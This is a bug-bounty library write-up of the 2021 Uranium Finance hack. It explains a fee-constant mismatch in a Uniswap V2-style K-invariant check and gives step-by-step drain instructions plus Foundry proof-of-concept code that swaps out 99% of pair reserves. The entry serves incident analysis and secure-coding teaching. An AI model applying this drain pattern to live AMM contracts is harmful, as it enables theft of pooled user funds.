# Uranium: K-check fee constant mismatch drains swap pairs

Uranium swap K-check used fee constant 10000 but compared against 1000^2, letting attacker drain BUSD/WBNB pairs via repeated swaps.

- Payout: Real-world hack
- Severity: critical
- Program: Uranium
- Analysis by: DeFiHackLabs
- Disclosed: 2021-04-28
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-04/Uranium_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210428-uranium
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** Uniswap V2-style AMM pair swap K invariant check on BSC
**Root cause:** The adjusted-balance fee multiplier was changed to 10000 but the invariant comparison still multiplied reserves by 1000^2, so the K check always passed with a 100x inflated K.
**Steps:**
1. Wrap 1 ETH to WBNB via `deposit()`.
2. Get pair for (WBNB,BUSD) from Uranium factory.
3. Transfer 1 WBNB to pair, compute `amountOut = balanceOf(token1)*99/100`, call `pair.swap(amountOut,0,attacker,empty)` — K check passes despite draining 99% of BUSD.
4. Repeat with (BUSD,WBNB) pair to drain WBNB.
**How found:** Noticed Uranium's swap code used magic value 10000 for fee adjustment while the K comparison still used 1000^2, meaning K post-swap is guaranteed 100x larger than pre-swap.
**Exploitation:** Attacker seeded a pair with a small token transfer, then called swap requesting ~99% of the counterparty reserve; the broken K invariant accepted it, extracting BUSD and WBNB from the pair.
**Escalation:** Repeated the swap across both directions of the WBNB/BUSD pair to compound drained funds.
**Insight:** When a fork changes a fee constant, diff every place that constant is used — a single missed substitution in the invariant check turns the AMM into a free-drain.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test draining Uranium swap pairs**

```
function testExploit() public {
        wrap();
        takeFunds(wbnb, busd, 1 ether);
        takeFunds(busd, wbnb, 1 ether);
        console.log("BUSD STOLEN : ", IERC20(busd).balanceOf(address(this)));
        console.log("WBNB STOLEN : ", IERC20(wbnb).balanceOf(address(this)));
    }
```

**Swap call exploiting K-check fee mismatch**

```
IERC20(token0).transfer(address(pair), amount);
        uint256 amountOut = (IERC20(token1).balanceOf(address(pair)) * 99) / 100;

        pair.swap(
            pair.token0() == address(token1) ? amountOut : 0,
            pair.token0() == address(token1) ? 0 : amountOut,
            address(this),
            new bytes(0)
        );
```

